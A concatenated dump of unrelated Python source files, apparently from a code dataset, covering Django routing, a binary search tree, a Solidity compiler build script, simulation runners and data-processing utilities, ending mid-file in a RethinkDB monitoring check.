path('recharges/', views.recharges, name='recharges'),\n path('recharges//', views.recharge_details, name='recharge-detail'),\n\n \n]","sub_path":"voucher/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"621115959","text":"class Node:\n def __init__(self, k, v, left=None, right=None):\n self.key = k\n self.value = v\n self.left = left\n self.right = right\n\n\nclass BinarySearchTree:\n def __init__(self):\n self.root = None\n \n def put(self, k, v):\n self.root = self._put(self.root, k, v)\n \n def _put(self, n, k, v):\n if n == None:\n return Node(k, v)\n if n.key > k:\n n.left = self._put(n.left, k, v)\n elif n.key < k:\n n.right = self._put(n.right, k, v)\n else:\n n.value = v\n \n return n\n \n def get(self, k):\n return self._get(self.root, k)\n \n def _get(self, n, k):\n if n == None:\n return None\n elif n.key > k:\n return self._get(n.left, k)\n elif n.key < k:\n return self._get(n.right, k)\n else:\n return n.value\n \n def get_min(self):\n return self._get_min(self.root)\n \n def _get_min(self, n):\n if n.left == None:\n return n\n \n return self._get_min(n.left)\n \n def delete_min(self):\n if self.root == None:\n raise Exception('트리가 비었습니다.')\n \n self.root = self._delete_min(self.root)\n \n def _delete_min(self, n):\n if n.left == None:\n return n.right\n \n n.left = self._delete_min(n.left)\n \n return n\n \n def delete(self, k):\n self.root = self._delete(self.root, k)\n \n def _delete(self, n, k):\n if n == None:\n return None\n \n if n.key > k:\n n.left = self._delete(n.left, k)\n elif n.key < k:\n n.right = self._delete(n.right, k)\n else:\n if n.left == None:\n return n.right\n if n.right == None:\n return n.left\n target = n\n n = self._get_min(target.right)\n n.right = self._delete_min(target.right)\n n.left = target.left\n \n return n\n \n def inorder(self, n):\n results = list()\n \n if n != None:\n if n.left:\n results.extend(self.inorder(n.left))\n \n results.append(n.key)\n \n if n.right:\n results.extend(self.inorder(n.right))\n \n return results","sub_path":"search_tree/binary_search_tree/core2.py","file_name":"core2.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"155931104","text":"def main():\n date_str = input()\n\n if isValidDate(date_str):\n y, m, d = dateAsInt(date_str)\n\n x = (m - 1) * 31 + d\n\n if m > 2:\n x -= int((m * 4 + 23) / 10)\n\n if isLeapYear(y):\n x += 1\n\n print(x)\n else:\n print(\"invalid\")\n\n\ndef isValidDate(date):\n\n y, m, d = dateAsInt(date)\n\n if 0 < m < 13 and 0 < d < 32:\n return True\n else:\n return False\n\ndef dateAsInt(date):\n date_list = date.split(\"/\")\n\n y = int(date_list[0])\n m = int(date_list[1])\n d = int(date_list[2])\n\n return y,m,d\n\ndef isLeapYear(year):\n if not year % 4 == 0:\n return False\n elif not year % 100 == 0:\n return True\n elif not year % 400 ==0:\n return False\n else:\n return True\n\nmain()","sub_path":"ComputerConceptPractice/python_practices/dateconverter.py","file_name":"dateconverter.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"651433780","text":"import git\nimport os\n\nsolidity = '/home/iustines/Solcc/'\nsolidity_git = 'https://github.com/ethereum/solidity.git'\nmodified_file_path = 'libsolidity/codegen/CompilerContext.cpp'\nmodified_file_path2 = 'libsolidity/CompilerContext.cpp'\nfolder_to_reate = 'build'\nsubstr_to_find = 'void CompilerContext::addStateVariable('\nl1 = 'std::cout<<\"{ \";\\n'\nl2 = 'std::cout<<\"\\\\\"var_name\\\\\":\\\\\"\" << boost::lexical_cast(_declaration.name()) << \"\\\\\", \";\\n'\nl3 = 'std::cout<<\"\\\\\"offset\\\\\":\" << boost::lexical_cast(_storageOffset) << \", \";\\n'\nl4 = 'std::cout<< \"\\\\\"byte_offset\\\\\":\" << boost::lexical_cast(_byteOffset) << \"}\\\\n\";\\n'\n\n\nrepo = git.Repo.clone_from(solidity_git, os.path.join(solidity, 'master'), branch='develop')\n\nsolidity_versions = [ \"v0.4.10\", \"v0.4.11\", \"v0.4.12\", \"v0.4.13\", \"v0.4.14\", \"v0.4.15\", \"v0.4.16\", \"v0.4.17\", \"v0.4.18\", \"v0.4.19\", \"v0.4.20\", \"v0.4.21\", \"v0.4.22\", \"v0.4.23\", \"v0.4.24\" ]\n\nprint(repo.tags)\n\nfor tag in repo.tags:\n if str(tag) not in solidity_versions:\n continue\n print('Building ' + str(tag))\n repo_path = os.path.join(solidity, str(tag))\n newRepo = git.Repo.clone_from(solidity_git, repo_path, branch=str(tag))\n try:\n file_path = os.path.join(repo_path, modified_file_path)\n f = open(file_path, \"r\")\n contents = f.readlines()\n f.close()\n\n for idx, line in enumerate(contents):\n if substr_to_find in line:\n index_to_insert = idx + 6\n contents.insert(index_to_insert, l1)\n contents.insert(index_to_insert + 1, l2)\n contents.insert(index_to_insert + 2, l3)\n contents.insert(index_to_insert + 3, l4)\n contents = \"\".join(contents)\n\n f = open(file_path, \"w\")\n f.write(contents)\n f.close()\n os.chdir(repo_path)\n os.system('git submodule update --init --recursive')\n os.system('mkdir build')\n os.chdir(os.path.join(repo_path, 'build'))\n os.system('cmake .. && make')\n except:\n try:\n file_path = os.path.join(repo_path, modified_file_path2)\n f = open(file_path, \"r\")\n contents = f.readlines()\n f.close()\n\n for idx, line in enumerate(contents):\n if substr_to_find in line:\n index_to_insert = idx + 6\n contents.insert(index_to_insert, l1)\n contents.insert(index_to_insert + 1, l2)\n contents.insert(index_to_insert + 2, l3)\n contents.insert(index_to_insert + 3, l4)\n contents = \"\".join(contents)\n\n f = open(file_path, \"w\")\n f.write(contents)\n f.close()\n os.chdir(repo_path)\n os.system('git submodule update --init --recursive')\n os.system('mkdir build')\n os.chdir(os.path.join(repo_path, 'build'))\n os.system('cmake .. && make')\n except:\n print('Failed building ' + str(tag))\n","sub_path":"init_env.py","file_name":"init_env.py","file_ext":"py","file_size_in_byte":3030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"400020970","text":"from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\n\n__all__ = ['create_app', 'db']\n\ndb = SQLAlchemy()\n\nDEFAULT_APP_NAME = 'chopin'\n\n\ndef create_app(config=None):\n app = Flask(DEFAULT_APP_NAME)\n if config is not None:\n app.config.from_object(config)\n db.init_app(app)\n\n configure_blueprints(app)\n\n return app\n\n\ndef configure_blueprints(app):\n from chopin.controllers.api import chopin\n from chopin.controllers.admin_api import admin_api as admin_api\n\n app.register_blueprint(chopin, url_prefix='/h2/api')\n app.register_blueprint(admin_api, url_prefix='/h2/admin_api')\n","sub_path":"chopin/chopin_app.py","file_name":"chopin_app.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"110275088","text":"# Internal imports\nimport os\nimport time\n\n'''\n Calculates MSD for BCC Fe at 600 K, both for a perfect crystal and for\n a SIA 111 defect.\n'''\n\n\n# Define cases\ncases = ['perfect', 'SIA']\ns_time = time.time()\nfor case in cases:\n c_time = time.time()\n print(f'Performing calculation for: {case}')\n ####* Relax structure\n\n # Modify relax input script\n restag = f'Fe-relax-{case}'\n dataf = f'data.Fe-sc4-{case}'\n with open('res/input.Fe-relax', 'r') as re:\n inp = re.readlines()\n with open(f'input.{restag}', 'w') as reinp:\n for line in inp:\n if 'variable dfile string' in line:\n reinp.write(f'variable dfile string res/{dataf}\\n')\n else: \n reinp.write(line)\n os.system(f'mpirun -np 2 /home/bin/lmp_mpich < input.{restag} > output.{restag}')\n ####* Run MSD \n\n # Modify MSD input script\n msdtag = f'Fe-600K-npt-msd-{case}'\n with open('res/input.Fe-600K-npt-msd', 'r') as msd:\n inp = msd.readlines()\n with open(f'input.{msdtag}', 'w') as msdinp:\n for line in inp:\n if 'variable dfile string' in line:\n msdinp.write(f'variable dfile string res/{dataf}-gopted\\n')\n elif 'variable projectname string' in line:\n msdinp.write(f'variable projectname string sc4-{case}\\n')\n\n else: \n msdinp.write(line)\n os.system(f'mpirun -np 2 /home/bin/lmp_mpich < input.{msdtag} > output.{msdtag}')\n print(f'\\t --- Finished in {(time.time()-c_time):.2f} s')\n\nprint('********')\nprint(f'Total calculation time: {(time.time()-s_time):.2f} s ')","sub_path":"SNU/introduction_to_atomistic_simulations_of_nuclear_materials/example13-self_diffusion_coefficient_fe/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"649211776","text":"from birthdeath_power_varstep import BirthDeathPowerVarStep\nfrom numpy import mean, std, arange\nimport matplotlib.pyplot as plt\n\n# set some indices\nhits = []\nmeans_hitting_time = []\nstds_hitting_time = []\n\nmin_x = -1000\nmax_x = 1000\nx_step = 5\nx_vals = arange(min_x, max_x, x_step)\n\niterations = 1000000\n\nfor x in x_vals:\n sim = BirthDeathPowerVarStep(x, 0, 0.5, 1)\n sim.nstep(iterations)\n hits.append(len(sim.hitting_times))\n\n # append the mean hitting time and standard deviation of hitting time\n # we have to first check if the list is empty, because if it is we will\n # assume the hitting time is the max possible.\n if(len(sim.hitting_times) != 0):\n cur_mean = mean(sim.hitting_times)\n cur_std = std(sim.hitting_times)\n means_hitting_time.append(cur_mean)\n stds_hitting_time.append(cur_std)\n else:\n means_hitting_time.append(iterations)\n stds_hitting_time.append(iterations)\n\n# do some plotting\nn_bins = 40\nplt.figure(1)\nplt.plot(x_vals, means_hitting_time, 'ro-')\nplt.xlabel('initial position')\nplt.ylabel('mean hitting time')\nplt.suptitle('mean hitting time to 0 from a given initial position')\n\nplt.figure(2)\nplt.plot(x_vals, stds_hitting_time, 'bo-')\nplt.xlabel('initial position')\nplt.ylabel('std of hitting time')\nplt.suptitle('std of hitting time to 0 from a given initial position')\n\nplt.figure(3)\nplt.hist2d(x_vals, means_hitting_time, bins = n_bins)\nplt.xlabel('initial position')\nplt.ylabel('mean hitting time')\nplt.colorbar()\nplt.suptitle('mean hitting time to 0 from a given initial position (2d Histogram, %d bins)' % n_bins)\n\nplt.show()\n","sub_path":"src/hitting-time-stats.py","file_name":"hitting-time-stats.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"161430188","text":"with open('raj.jpeg','rb') as rf:\r\n with open('raj_copy.jpeg','wb') as wf:\r\n chunk_size = 4096\r\n rf_chunk = rf.read(chunk_size)\r\n while len(rf_chunk)>0:\r\n wf.write(rf_chunk)\r\n rf_chunk = rf.read(chunk_size)\r\n\r\n\r\n\r\n#with open('raj1.jpg','rb') as rf:\r\n# with open('raj1_copy.jpg','wb') as wf:\r\n# for line in rf:\r\n# wf.write(line)\r\n\r\n\r\n\r\n#with open('file.txt','r') as rf:\r\n# with open('file_copy.txt','w') as wf:\r\n# for line in rf:\r\n# wf.write(line)\r\n \r\n \r\n \r\n \r\n#with open('file.txt','r') as f: \r\n# size_to_read = 10\r\n# f_content =f.read(size_to_read)\r\n# print(f_content, end='')\r\n# \r\n# f.seek(0)\r\n# \r\n# f_content =f.read(size_to_read)\r\n# print(f_content, end='')\r\n \r\n \r\n#with open('file.txt','r') as f: \r\n# size_to_read = 10 \r\n# while len(f_content) >0:\r\n# print(f_content, end='*')\r\n# f_content = f.read(size_to_read)\r\n# \r\n \r\n\r\n \r\n\r\n\r\n#f_contents = f.read()\r\n#f_contents = f.readlines()\r\n# for line in f:\r\n# print(line, end='') \r\n# ","sub_path":"WorkWithFiles.py","file_name":"WorkWithFiles.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"582562739","text":"from django.conf.urls import patterns, url\nfrom network import views\n\n \n# urlpatterns = patterns('',\n # url(r'^$', views.course, name='course'),\n # url(r'^c/$',views.course,name = 'course'),\n # url(r'^k/$',views.knowledge,name = 'knowledge'),\n\t# url(r'^cto/$',views.course_topo,name = 'course_topo'),\n # #url(r'^cna/$',views.course_n_a,name = 'course_n_a'),\n\t# #url(r'^kna/$',views.knowledge_n_a,name = 'knowledge_n_a'),\n# )\nurlpatterns = [\n url(r'^c$', views.course),\n url(r'^c/$',views.course),\n url(r'^k/$',views.knowledge),\n\turl(r'^cnwa/$',views.course_network_analyse),\n url(r'^cna/$',views.course_nodes_analyse),\n\turl(r'^cna/gettooltip/$',views.course_nodes_analyse_gettooltip),\n\turl(r'^cna/getgraph/$',views.course_nodes_analyse_getgraph),\n\t#url(r'^kna/$',views.knowledge_n_a,name = 'knowledge_n_a'),\n]","sub_path":"network/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"144344311","text":"# coding=utf-8\n# author='Shichao-Dong'\n# create time: 2019/3/6 \n\n'''\n反转该字符串中的元音字母\n'''\n\nclass Solution(object):\n def reverseVowels(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n vowels=['a','e','i','o','u','A','E','I','O','U']\n vo_s=[]\n for i in s:\n if i in vowels:\n vo_s.append(i)\n s_list=list(s)\n s_len=len(s_list)\n for i in range(s_len):\n if s[i] in vowels:\n s_list[i] = vo_s.pop()\n return ''.join(s_list)\n\n def vers(self,s):\n ss = list(s)\n n = len(s)\n i ,j = 0, n-1\n vowels = ['a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U']\n while i\\d+)/$', views.detail, name='detail'),\n # ex: /thermostats/5/settings/\n url(r'^(?P\\d+)/settings/$', views.settings, name='settings'),\n # ex: /thermostats/5/temperature/\n url(r'^(?P\\d+)/temperature/$', views.temperature, name='temperature'),\n)","sub_path":"thermostats/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"486341021","text":"from selenium import webdriver\nimport bs4\nimport time\n\n# https://brunch.co.kr/@jk-lab/18\n\n\nchromedriver_dir = r'C:\\chrome_driver\\chromedriver.exe'\ndriver = webdriver.Chrome(chromedriver_dir)\ndriver.get('https://cargo.koreanair.com/ko/tracking')\ntime.sleep(5)\na = 1\nwhile True:\n\n search = 'n'\n while True:\n search = driver.find_element_by_xpath('//*[@id=\"edit-awb-number--17\"]')\n if search == 'n':\n continue\n else:\n break\n '//*[@id=\"edit-awb-number--14\"]'\n driver.find_element_by_xpath('//*[@id=\"edit-awb-number--17\"]').send_keys('66268366')\n\n '//*[@id=\"edit-submit--54\"]'\n search = driver.find_element_by_xpath('//*[@id=\"edit-submit--54\"]')\n search.click()\n time.sleep(10)\n POL_ATD = driver.find_element_by_xpath('//*[@id=\"myTabContent\"]/div/div[2]/div/div/div[2]/div[3]')\n print(POL_ATD.text)\n a+= 1\n print(a)\n if a>3:\n break\n\n\n","sub_path":"web/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"563014083","text":"\"\"\"Validate dependencies.\"\"\"\nimport pathlib\nimport re\nfrom typing import Set, Dict\n\nfrom .model import Integration\n\n\ndef grep_dir(path: pathlib.Path, glob_pattern: str, search_pattern: str) \\\n -> Set[str]:\n \"\"\"Recursively go through a dir and it's children and find the regex.\"\"\"\n pattern = re.compile(search_pattern)\n found = set()\n\n for fil in path.glob(glob_pattern):\n if not fil.is_file():\n continue\n\n for match in pattern.finditer(fil.read_text()):\n found.add(match.groups()[0])\n\n return found\n\n\nALLOWED_USED_COMPONENTS = {\n # This component will always be set up\n 'persistent_notification',\n # These allow to register things without being set up\n 'conversation',\n 'frontend',\n 'hassio',\n 'system_health',\n 'websocket_api',\n}\n\n\ndef validate_dependencies(integration: Integration):\n \"\"\"Validate all dependencies.\"\"\"\n # Find usage of hass.components\n referenced = grep_dir(integration.path, \"**/*.py\",\n r\"hass\\.components\\.(\\w+)\")\n referenced -= ALLOWED_USED_COMPONENTS\n referenced -= set(integration.manifest['dependencies'])\n referenced -= set(integration.manifest.get('after_dependencies', []))\n\n if referenced:\n for domain in sorted(referenced):\n print(\"Warning: {} references integration {} but it's not a \"\n \"dependency\".format(integration.domain, domain))\n # Not enforced yet.\n # integration.add_error(\n # 'dependencies',\n # \"Using component {} but it's not a dependency\".format(domain)\n # )\n\n\ndef validate(integrations: Dict[str, Integration], config):\n \"\"\"Handle dependencies for integrations.\"\"\"\n # check for non-existing dependencies\n for integration in integrations.values():\n if not integration.manifest:\n continue\n\n validate_dependencies(integration)\n\n # check that all referenced dependencies exist\n for dep in integration.manifest['dependencies']:\n if dep not in integrations:\n integration.add_error(\n 'dependencies',\n \"Dependency {} does not exist\".format(dep)\n )\n","sub_path":"script/hassfest/dependencies.py","file_name":"dependencies.py","file_ext":"py","file_size_in_byte":2237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"135209791","text":"#Script to resize, change format & rotate images\nimport os\nfrom PIL import Image\n\n#Resizes image and rotates it\ndef geometry(pic):\n im = pic.resize((128, 128))\n im = pic.rotate(270)\n return im\n\ndef main():\n for i in os.listdir(\".\"):\n if i.endswith('.jpg'):\n pic = Image.open(i)\n fname, filext = os.path.splitext(i)\n pic = geometry(pic)\n pic.save('converted/' + i, \"PNG\")\n\nmain()\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"45869927","text":"import sys\n\n\ndef error(text: str) -> None:\n print(u'\\033[{}m{}\\033[0m{}'.format(\"31;1\", \"[-] Error: \",\n ascii_to_utf8(text)), file=sys.stderr)\n sys.exit(1)\n\n\ndef warning(text: str) -> None:\n print(u'\\033[{}m{}\\033[0m{}'.format(\"33;1\", \"[!] Warning: \",\n ascii_to_utf8(text)), file=sys.stderr)\n\n\ndef successful(text: str) -> None:\n print(u'\\033[{}m{}\\033[0m{}'.format(\"32;1\", \"[+] Success: \",\n ascii_to_utf8(text)), file=sys.stderr)\n\n\ndef ascii_to_utf8(text: str) -> str:\n final_str = \"\"\n i = 0\n while i < len(text):\n if text[i] != \"\\\\\":\n final_str += text[i]\n i += 1\n else:\n current_unicode_char = \"0x\"\n for j in range(i + 3, i + 7):\n current_unicode_char += text[j].upper()\n final_str += chr(int(current_unicode_char, 16))\n i += 7\n\n return final_str\n","sub_path":"src/oxygen/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"3859151","text":"def afficher_flottant(flottant):\n \"\"\"Fonction prenant en paramètre un flottant et renvoyant une chaîne de caractères représentant la troncature de ce nombre. La partie flottante doit avoir une longueur maximum de 3 caractères.\n\n De plus, on va remplacer le point décimal par la virgule\"\"\"\n \n if type(flottant) is not float:\n raise TypeError(\"Le paramètre attendu doit être un flottant\")\n \n # On convertit le float en string pour pouvoir splitter le contenu par le point\n flottant = str(flottant)\n # On fait une affectation multiple : On sait que le split renverra un tableau de 2 valeurs, la 1ere est affectée à \"partie_entiere\" la seconde à partie flottante\n partie_entiere, partie_flottante = flottant.split(\".\")\n # La partie entière n'est pas à modifier\n # Seule la partie flottante doit être tronquée\n # Les deux valeurs sont jointes, scindées par la virgule\n return \",\".join([partie_entiere, partie_flottante[:3]])","sub_path":"python/previous_attempt/python_2014/2.3_tuples_list_and_string.py","file_name":"2.3_tuples_list_and_string.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"248927802","text":"import openpyxl\n# print(\"Test\")\nimport unicodecsv\n# import shutil\nwb = openpyxl.load_workbook(\"hire.xlsx\")\nprint(type(wb))\nsh = wb.get_active_sheet()\nwith open('hire1.csv', 'wb') as f:\n c = unicodecsv.writer(f)\n for r in sh.rows:\n # print (r)\n c.writerow([cell.value for cell in r])\n #c.writerow([cell.value.encode('utf-8') for cell in r])\n\n\n","sub_path":"python_programs/parse_excel.py","file_name":"parse_excel.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"557236995","text":"from django.urls import URLPattern, URLResolver\n\n\nclass DecoratedURLPattern(URLPattern):\n def resolve(self, *args, **kwargs):\n result = super(DecoratedURLPattern, self).resolve(*args, **kwargs)\n if result:\n result.func = self._decorate_with(result.func)\n return result\n\n\nclass DecoratedURLResolver(URLResolver):\n def resolve(self, *args, **kwargs):\n result = super(DecoratedURLResolver, self).resolve(*args, **kwargs)\n if result:\n result.func = self._decorate_with(result.func)\n return result\n\n\ndef decorated_includes(func, includes, *args, **kwargs):\n urlconf_module, app_name, namespace = includes\n patterns = getattr(urlconf_module, 'urlpatterns', urlconf_module)\n for item in patterns:\n if isinstance(item, URLPattern):\n item.__class__ = DecoratedURLPattern\n item._decorate_with = func\n\n elif isinstance(item, URLResolver):\n item.__class__ = DecoratedURLResolver\n item._decorate_with = func\n\n return urlconf_module, app_name, namespace\n","sub_path":"web/url_util.py","file_name":"url_util.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"648322771","text":"import cv2\nfrom lib.utils import faceDetector\nimport numpy as np\nimport lib.SlidingWindow as sw\n\ndetector = faceDetector(\"trained_model/CNNmodel.pt\",width=100,height=100)\nwindow = sw.SlidingWindow(imgW = 640,imgH = 480,wW = 200,wH = 200,vStride = 30,hStride=30)\n\ncap = cv2.VideoCapture(0) #创建一个 VideoCapture 对象 \n\ncount = 0\nwhile(cap.isOpened()):#循环读取每一帧\n bgr_image = cap.read()[1]\n bgr_image = cv2.flip(bgr_image,1,dst=None)\n \n gray_image = cv2.cvtColor(bgr_image, cv2.COLOR_BGR2GRAY) #转换为灰度图做人脸检测\n h,w = gray_image.shape\n \n window.resetWindow()\n boundingBox = window.nextWindowPosition()\n \n while(boundingBox is not None):\n predict = detector.detect() \n if np.argmax(predict)==1:\n bgr_image = cv2.rectangle(bgr_image,(cord[0],cord[1]),(cord[2],cord[3]),(0,255,0))\n #cv2.imshow(\"debug\",ROI)\n ROI,cord = window.nextWindow(gray_image)\n \n cv2.imshow('detection result', bgr_image)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n \ncap.release() #释放摄像头\ncv2.destroyAllWindows()#删除建立的全部窗口\n","sub_path":"sliding_window_demo.py","file_name":"sliding_window_demo.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"331717083","text":"from __future__ import print_function\nfrom zipfile import ZipFile\n\ntry:\n from StringIO import StringIO as ioDuder\nexcept ImportError:\n from io import BytesIO as ioDuder\n\nimport os\nimport unicodecsv\nimport requests\nimport clarify\n\n\nCOUNTY = 'Sarpy'\n\nURL = 'http://results.enr.clarityelections.com/NE/Sarpy/64652/184054/en/summary.html'\n\nELECTION_TYPE = 'general'\n\n\ndef clarify_sarpy():\n '''\n 1. Fetch zipped XML file.\n 2. Unzip in memory.\n 3. Load into Clarify.\n 4. Loop over results, write to file.\n '''\n\n # discover path to zipfile and fetch\n s = clarify.Jurisdiction(url=URL, level='county')\n r = requests.get(s.report_url('xml'), stream=True)\n z = ZipFile(ioDuder(r.content))\n\n # hand off to clarify\n p = clarify.Parser()\n p.parse(z.open('detail.xml'))\n\n results = []\n\n # According to the Sarpy County election commissioner, results with a\n # `vote_type` of \"underVotes\" -- e.g., only 1 vote cast in a \"pick 2\"\n # race -- or \"overVotes\" -- e.g., 3 votes cast in a \"pick 2\" race --\n # are just context information and should not be included in results\n excluded_vote_types = ['underVotes', 'overVotes']\n\n for result in p.results:\n\n if result.vote_type not in excluded_vote_types:\n candidate = result.choice.text\n office, district = parse_office(result.contest.text)\n\n party = result.choice.party\n\n try:\n precinct = result.jurisdiction.name\n except AttributeError:\n precinct = None\n\n r = [x for x in results if x['precinct'] == precinct and\n x['office'] == office and\n x['district'] == district and\n x['party'] == party and\n x['candidate'] == candidate]\n\n if r:\n r[0][result.vote_type] = result.votes\n else:\n record = {\n 'county': COUNTY,\n 'precinct': precinct,\n 'office': office,\n 'district': district,\n 'party': party,\n 'candidate': candidate,\n result.vote_type: result.votes\n }\n results.append(record)\n\n # build filename\n election_date = p.election_date.strftime('%Y%m%d')\n\n filename = '__'.join([\n election_date,\n 'ne',\n ELECTION_TYPE,\n COUNTY.lower(),\n 'precinct.csv'\n ])\n\n # to filter out \"total\" rows, uncomment the next line\n # results = [x for x in results if x['precinct']]\n\n with open(os.path.join(os.pardir, filename), 'wb') as outfile:\n f = unicodecsv.writer(outfile, encoding='utf-8')\n\n # headers\n f.writerow(['county', 'precinct', 'office', 'district', 'party',\n 'candidate', 'votes', 'election_day', 'early_voting',\n 'provisional'])\n\n for row in results:\n total_votes = row['Early Voting'] + row['Provisionals'] \\\n + row['Election Day']\n\n f.writerow([row['county'], row['precinct'], row['office'],\n row['district'], row['party'], row['candidate'],\n total_votes, row['Election Day'],\n row['Early Voting'], row['Provisionals']])\n\n\ndef parse_office(office_text):\n district = None\n office = office_text\n\n dist_keywords = ['District', 'Dist', 'Subd', 'Wd']\n\n dist = list(set(office_text.split(' ')).intersection(dist_keywords))\n\n if dist and not office_text.endswith('School Bond'):\n splitter = dist[0]\n office = office_text.split(splitter)[0]\n district = office_text.split(splitter)[1].strip().split(' ')[0]\n if 'US Representative' in office_text:\n office = 'United States Representative'\n if 'Senator' in office_text:\n office = 'United States Senator'\n\n return [office.strip(), district]\n\n\nif __name__ == '__main__':\n clarify_sarpy()\n","sub_path":"bin/parse_2016_general_sarpy_precinct.py","file_name":"parse_2016_general_sarpy_precinct.py","file_ext":"py","file_size_in_byte":3997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"185805933","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/Dani/Documents/Projects/Golismero_2.0/src_github/golismero/api/data/resource/ip.py\n# Compiled at: 2014-01-14 18:58:51\n\"\"\"\nIP address.\n\"\"\"\n__license__ = '\\nGoLismero 2.0 - The web knife - Copyright (C) 2011-2013\\n\\nAuthors:\\n Daniel Garcia Garcia a.k.a cr0hn | cr0hn<@>cr0hn.com\\n Mario Vilas | mvilas<@>gmail.com\\n\\nGolismero project site: https://github.com/golismero\\nGolismero project mail: golismero.project<@>gmail.com\\n\\nThis program is free software; you can redistribute it and/or\\nmodify it under the terms of the GNU General Public License\\nas published by the Free Software Foundation; either version 2\\nof the License, or (at your option) any later version.\\n\\nThis program is distributed in the hope that it will be useful,\\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\\nGNU General Public License for more details.\\n\\nYou should have received a copy of the GNU General Public License\\nalong with this program; if not, write to the Free Software\\nFoundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\\n'\n__all__ = [\n 'IP']\nfrom . import Resource\nfrom .. import identity\nfrom .. import Config\nfrom ...text.text_utils import to_utf8\nfrom netaddr import IPAddress\n\nclass IP(Resource):\n \"\"\"\n IP address.\n \"\"\"\n resource_type = Resource.RESOURCE_IP\n\n def __init__(self, address):\n \"\"\"\n :param address: IP address.\n :type address: str\n \"\"\"\n address = to_utf8(address)\n if not isinstance(address, str):\n raise TypeError('Expected str, got %r instead' % type(address))\n try:\n if address.startswith('[') and address.endswith(']'):\n parsed = IPAddress(address[1:-1], version=6)\n address = address[1:-1]\n else:\n parsed = IPAddress(address)\n version = int(parsed.version)\n except Exception:\n raise ValueError('Invalid IP address: %s' % address)\n\n self.__address = address\n self.__version = version\n super(IP, self).__init__()\n self.depth = 0\n\n def __str__(self):\n return self.address\n\n def __repr__(self):\n return '' % (self.version, self.address)\n\n @property\n def display_name(self):\n return 'IP Address'\n\n @identity\n def address(self):\n \"\"\"\n :return: IP address.\n :rtype: str\n \"\"\"\n return self.__address\n\n @property\n def version(self):\n \"\"\"\n :return: version of IP protocol: 4 or 6.\n :rtype: int(4|6)\n \"\"\"\n return self.__version\n\n def is_in_scope(self, scope=None):\n if scope is None:\n scope = Config.audit_scope\n return self.address in scope","sub_path":"pycfiles/golismero-2.0.3-1.tar/ip.py","file_name":"ip.py","file_ext":"py","file_size_in_byte":2979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"530229190","text":"# (C) Datadog, Inc. 2020-present\n# All rights reserved\n# Licensed under a 3-clause BSD style license (see LICENSE)\nfrom contextlib import contextmanager\nfrom typing import Any, Callable, Iterator, Sequence, cast\n\nimport rethinkdb\n\nfrom datadog_checks.base import AgentCheck\n\nfrom . import operations, queries\nfrom .config import Config\nfrom .document_db import DocumentQuery\nfrom .document_db.types import Metric\nfrom .types import Instance\nfrom .version import parse_version\n\n\nclass RethinkDBCheck(AgentCheck):\n \"\"\"\n Collect metrics from a RethinkDB cluster.\n \"\"\"\n\n SERVICE_CHECK_CONNECT = 'rethinkdb.can_connect'\n\n def __init__(self, *args, **kwargs):\n # type: (*Any, **Any) -> None\n super(RethinkDBCheck, self).__init__(*args, **kwargs)\n\n self.config = Config(cast(Instance, self.instance))\n\n if self.config.password:\n self.register_secret(self.config.password)\n\n self.queries = (\n queries.config_summary,\n 